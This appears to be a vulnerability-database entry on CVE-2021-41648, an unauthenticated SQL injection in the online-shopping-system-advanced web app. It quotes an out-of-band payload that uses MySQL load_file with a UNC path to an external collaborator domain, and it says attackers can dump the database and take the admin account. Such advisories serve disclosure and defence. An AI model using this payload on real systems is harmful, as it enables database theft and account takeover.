Very High
CVE-2021-41648
CVE ID
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CVE-2021-41648
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
An un-authenticated SQL Injection exists in PuneethReddyHC online-shopping-system-advanced through the /action.php prId parameter. Using a post request does not sanitize the user input.
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Ratings
-
Attacker ValueVery High
-
ExploitabilityVery High
Technical Analysis
CVE-2021-41648
Vendor
Software
Description:
The p parameter of the PuneethReddyHC online-shopping-system-advanced 1.0 appears to be vulnerable to SQL injection attacks.
The payload (select load_file ('\\\\grb7dmacp8fse7awai6uedfhi8o2cz0q2et1jp8.nu11secur1tycollaborator.net\\mpv')) was submitted in the p parameter.
This payload injects a SQL sub-query that calls MySQL’s load_file function with a UNC file path that references a URL on an external domain.
The application interacted with that domain, indicating that the injected SQL query was executed.
The malicious user can attack the database using four SQL injection methods (UNION query, time-based blind, error-based and boolean-based blind),
then he can dump all information from this database of the app, then he can log in to the admin account, and can do malicious stuff.
Conclusion: Status Critical.
Reproduce:
Proof and Exploit:
Action:
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General Information
Vendors
- online-shopping-system-advanced project
Products
- online-shopping-system-advanced -
References
Miscellaneous
Additional Info
Technical Analysis
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
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